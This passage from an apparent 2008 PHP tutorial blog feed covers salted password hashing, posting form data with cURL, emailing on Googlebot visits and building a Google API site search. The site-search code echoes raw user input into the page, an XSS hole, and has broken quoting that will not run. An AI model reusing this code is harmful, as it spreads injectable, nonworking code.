&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;LogIn();&lt;/pre&gt;
&lt;pre&gt;?&amp;gt;&lt;/pre&gt;
&lt;p&gt;We can still do the same kind of dictionary attack if we again digest each word in the dictionary, but this time together with the stored salt. But a dictionary attack is now impractical, because the whole dictionary has to be digested individually for each single password + salt hash. With &lt;em&gt;n&lt;/em&gt; users that is &lt;em&gt;n&lt;/em&gt; times more work. The thief might be happy to wait for a few hours, but not 100 000 hours.&lt;/p&gt;</description>
								         <pubDate>Wed, 10 Sep 2008 08:53:06 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/23/Cryptography-for-web-developers---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>How to POST Form Data using CURL - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/22/How-to-POST-Form-Data-using-CURL---By-PHP-Expert</link>
								         <description>&lt;p&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;Word.Document&quot; name=&quot;ProgId&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Generator&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Originator&quot; /&gt;
&lt;link href=&quot;file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; rel=&quot;File-List&quot; /&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p style=&quot;margin-bottom: 12pt;&quot; class=&quot;MsoNormal&quot;&gt;Posting Form Data with cURL&lt;br /&gt;
CURL is a very useful tool for a web programmer to be able to fully interact with another website or page. It stands for Client URL (Library), and contains many powerful features when used with php.&lt;br /&gt;
&lt;span style=&quot;font-size: 9pt; font-family: &amp;quot;Courier New&amp;quot;; color: black;&quot;&gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$ch = curl_init( );&lt;br /&gt;
curl_setopt( $ch, CURLOPT_URL, &amp;quot;http://www.google.com&amp;quot; );&lt;br /&gt;
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );&lt;br /&gt;
$response = curl_exec( $ch );&lt;br /&gt;
print $response;&lt;br /&gt;
?&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 12pt;&quot; class=&quot;MsoNormal&quot;&gt;Breakup:&lt;br /&gt;
Line 1: Create a curl handle and set it to the variable &lt;strong&gt;$ch&lt;/strong&gt;&lt;br /&gt;
Line 2: Use the curl_setopt( ) function to set the url the script is targeting to google.com&lt;br /&gt;
Line 3: Use the parameter CURLOPT_RETURNTRANSFER to make the curl handle receive the response in a string when executed.&lt;br /&gt;
Line 4: Execute the curl script and put the response into $response.&lt;br /&gt;
Line 5: Output what google.com says.&lt;br /&gt;
&lt;br /&gt;
Now, to add a pratical application of this incredibly powerful library. Use an HTTP POST request.&lt;/p&gt;
&lt;p style=&quot;background: rgb(170, 170, 170) none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 9pt; font-family: &amp;quot;Courier New&amp;quot;; color: black;&quot;&gt;&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
$ch = curl_init( );&lt;br /&gt;
curl_setopt( $ch, CURLOPT_URL, &amp;quot;http://www.google.com&amp;quot; );&lt;br /&gt;
curl_setopt( $ch, CURLOPT_POST, true );&lt;br /&gt;
curl_setopt( $ch, CURLOPT_POSTFIELDS, &amp;quot;username=Third_Degree&amp;amp;password=youwish&amp;quot; );&lt;br /&gt;
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );&lt;br /&gt;
$response = curl_exec( $ch );&lt;br /&gt;
print $response;&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;br /&gt;
These two lines are the power of this script&lt;br /&gt;
curl_setopt( $ch, CURLOPT_POST, true );&lt;br /&gt;
curl_setopt( $ch, CURLOPT_POSTFIELDS, &amp;quot;username=Third_Degree&amp;amp;password=youwish&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
The URL specified earlier will now be dealing with the post fields username and password just like you submitted the form in your browser. This technique has an endless list of applications, and hopefully you will now have better control of the posting technique of cURL in PHP.&lt;/p&gt;</description>
								         <pubDate>Mon, 08 Sep 2008 03:10:39 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/22/How-to-POST-Form-Data-using-CURL---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Always Be Notified When Google Crawls Your Site - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/21/Always-Be-Notified-When-Google-Crawls-Your-Site---By-PHP-Expert</link>
								         <description>&lt;p&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;Word.Document&quot; name=&quot;ProgId&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Generator&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Originator&quot; /&gt;
&lt;link href=&quot;file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; rel=&quot;File-List&quot; /&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
p
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
span.keyword
	{mso-style-name:keyword;}
span.func
	{mso-style-name:func;}
span.vars
	{mso-style-name:vars;}
span.string
	{mso-style-name:string;}
span.comment
	{mso-style-name:comment;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
 /* List Definitions */
 @list l0
	{mso-list-id:400754666;
	mso-list-template-ids:-2147175682;}
@list l0:level1
	{mso-level-tab-stop:.5in;
	mso-level-number-position:left;
	text-indent:-.25in;}
ol
	{margin-bottom:0in;}
ul
	{margin-bottom:0in;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p&gt;Have you ever wanted to know when Google crawls your website? Well now you can using a simple PHP script which emails you everytime GoogleBot crawls your site.&lt;/p&gt;
&lt;p&gt;I thought that many of you might find this bit of code useful, that is why I have decided to post it up.&lt;/p&gt;
&lt;p&gt;It is not a very long piece of code, but I will talk you through how it functions.&lt;/p&gt;
&lt;p&gt;First off lets take a look at the code:&lt;/p&gt;
&lt;ol type=&quot;1&quot; start=&quot;1&quot;&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;&amp;lt;?php&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&amp;nbsp;&lt;span class=&quot;func&quot;&gt;strpos&lt;/span&gt;(&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$_SERVER&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;'HTTP_USER_AGENT'&lt;/span&gt;],&amp;nbsp;&lt;span class=&quot;string&quot;&gt;'Googlebot'&lt;/span&gt;&amp;nbsp;)&amp;nbsp;!==&amp;nbsp;false&amp;nbsp;)&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;{&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Your&amp;nbsp;email&amp;nbsp;address&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;vars&quot;&gt;$email_address&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;'you@yourdomain.com'&lt;/span&gt;;&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Send&amp;nbsp;yourself&amp;nbsp;an&amp;nbsp;email&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;mail(&lt;span class=&quot;vars&quot;&gt;$email_address&lt;/span&gt;,&lt;span class=&quot;string&quot;&gt;'Googlebot&amp;nbsp;Alert'&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;'The&amp;nbsp;Googlebot&amp;nbsp;has&amp;nbsp;visited&amp;nbsp;your&amp;nbsp;page:&amp;nbsp;'&lt;/span&gt;.&lt;span class=&quot;vars&quot;&gt;$_SERVER&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;'REQUEST_URI'&lt;/span&gt;]);&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;}&amp;nbsp;&lt;/li&gt;
    &lt;li style=&quot;&quot; class=&quot;MsoNormal&quot;&gt;?&amp;gt;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As you can see it is a simple piece of code.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;First of all it checks the user agent to see if it is &amp;lsquo;Googlebot&amp;rsquo;. If the user agent is &amp;lsquo;Googlebot&amp;rsquo; then it will send an email to the email address you supply.&lt;/span&gt;&lt;/p&gt;</description>
								         <pubDate>Fri, 05 Sep 2008 10:05:31 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/21/Always-Be-Notified-When-Google-Crawls-Your-Site---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Quick and Easy Google Site Search - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/20/Quick-and-Easy-Google-Site-Search---By-PHP-Expert</link>
								         <description>&lt;h2 style=&quot;margin: auto 0in;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Resources&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;The Google API - &lt;/font&gt;&lt;a class=&quot;articletitle&quot; href=&quot;http://www.google.com/apis/&quot;&gt;&lt;font face=&quot;Times New Roman&quot; color=&quot;#000000&quot; size=&quot;3&quot;&gt;http://www.google.com/apis/&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;Advanced Google searches - &lt;/font&gt;&lt;a class=&quot;articletitle&quot; href=&quot;http://www.google.com/help/refinesearch.html&quot;&gt;&lt;font face=&quot;Times New Roman&quot; color=&quot;#000000&quot; size=&quot;3&quot;&gt;http://www.google.com/help/refinesearch.html&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;PHP script &amp;quot;nusoap&amp;quot;&amp;nbsp; - &lt;/font&gt;&lt;a class=&quot;articletitle&quot; href=&quot;http://sourceforge.net/projects/nusoap/&quot;&gt;&lt;font face=&quot;Times New Roman&quot; color=&quot;#000000&quot; size=&quot;3&quot;&gt;http://sourceforge.net/projects/nusoap/&lt;/font&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;There are three steps to creating this site-specific search engine. 1) Get a license key from Google, 2) download the PHP script, &amp;quot;nusoap&amp;quot; and finally, 3) install a short script to initiate the search and format the HTML output.&lt;/font&gt;&lt;/p&gt;
&lt;h2 style=&quot;margin: auto 0in;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;nusoap&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;nusoap is a PHP script that will facilitate use of the Google API. It is available from the URL,&amp;nbsp; &lt;/font&gt;&lt;font color=&quot;#000000&quot;&gt;&lt;a href=&quot;http://sourceforge.net/projects/nusoap/&quot;&gt;&lt;font face=&quot;Times New Roman&quot; color=&quot;#000000&quot; size=&quot;3&quot;&gt;http://sourceforge.net/projects/nusoap/&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;. Go to this site and find the download link about halfway down the page. At the time of writing the latest version was 0.6.7. The file is zipped but don't let that discourage you from using it on a non-Windows server. It works just as well using Apache and Linux as it does using Internet Information Server and Windows. You will, of course have to have PHP installed on your server. If it is not already installed then it is probably time to find a new web host.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;There are a number of files compressed into the zipped file but &amp;quot;nusoap.php&amp;quot; is the only one we need to be concerned about. If you are familiar with PHP you may want to have a look at the other files. I will just mention though that the script we develop is a modification of the &amp;quot;client3.php&amp;quot; file.&lt;/font&gt;&lt;/p&gt;
&lt;h2 style=&quot;margin: auto 0in;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Google API&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;API stands for &amp;quot;Application Programming Interface&amp;quot; ? it is simply a means to tap into the Google search engine without having to actually point your browser at their site. It allows you to perform Google searches programmatically.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;You may find out about the Google API at &lt;/font&gt;&lt;font color=&quot;#000000&quot;&gt;&lt;a href=&quot;http://www.google.com/apis/&quot;&gt;&lt;font face=&quot;Times New Roman&quot; color=&quot;#000000&quot; size=&quot;3&quot;&gt;http://www.google.com/apis/&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;.&lt;/font&gt;&amp;nbsp; You need not download the example code but you will need to create a Google account and get a license key. This license key will allow you to initiate 1000 searches per day using the Google API. Check your website statistics and if you are getting fewer than 500 visits per day then this number of searches will most likely be more than adequate.&lt;/font&gt;&lt;/p&gt;
&lt;h2 style=&quot;margin: auto 0in;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;The Code&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;Let's first create the form that will invoke the search page:&lt;/font&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;Search this site: &amp;lt;br /&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;form method=&amp;quot;get&amp;quot; name=&amp;quot;search&amp;quot;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;action=&amp;quot;search.php&amp;quot;&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;criterion&amp;quot; style=&amp;quot;width:100px&amp;quot; /&amp;gt;&amp;lt;br /&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;input style=&amp;quot;margin-top:5px&amp;quot; type=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot; /&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;/form&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;Insert this code into the page that you intend to search from ? for the sake of easy reference let's call that page &amp;quot;searchfrom.html&amp;quot;.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;The code that actually performs the search is below (based on the &amp;quot;client3.php&amp;quot; file):&lt;/font&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;o:p&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;head&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;title&amp;gt;Site Search Page&amp;lt;/title&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;/head&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;body&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;?php&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;require_once(&amp;quot;nusoap.php&amp;quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$criterion=@$_GET[&amp;quot;criterion&amp;quot;];&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;if(strpos($criterion, &amp;quot;&amp;quot;&amp;quot;)){&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $criterion = stripslashes($criterion);&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;&amp;lt;b&amp;gt;$criterion&amp;lt;/b&amp;gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;}else&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;&amp;quot;&amp;lt;b&amp;gt;$criterion&amp;lt;/b&amp;gt;&amp;quot;.&amp;lt;/p&amp;gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$query=$criterion;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;//your site here&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$query .= &amp;quot; site:&lt;strong&gt;www.yoursite.com&lt;/strong&gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;//your Google key goes here&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$key = &amp;quot;&lt;strong&gt;yourgooglekey&lt;/strong&gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;//change the value below if you like&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$maxresults = &lt;strong&gt;10;&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$start = 0;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$parameters = array(&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'Googlekey'=&amp;gt;$key,&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'queryStr'=&amp;gt;$query,&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'startFrom'=&amp;gt;$start,&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'maxResults'=&amp;gt;$maxresults,&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'filter'=&amp;gt;true,&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'restrict'=&amp;gt;'',&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'adultContent'=&amp;gt;true,&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'language'=&amp;gt;'',&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'iencoding'=&amp;gt;'',&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
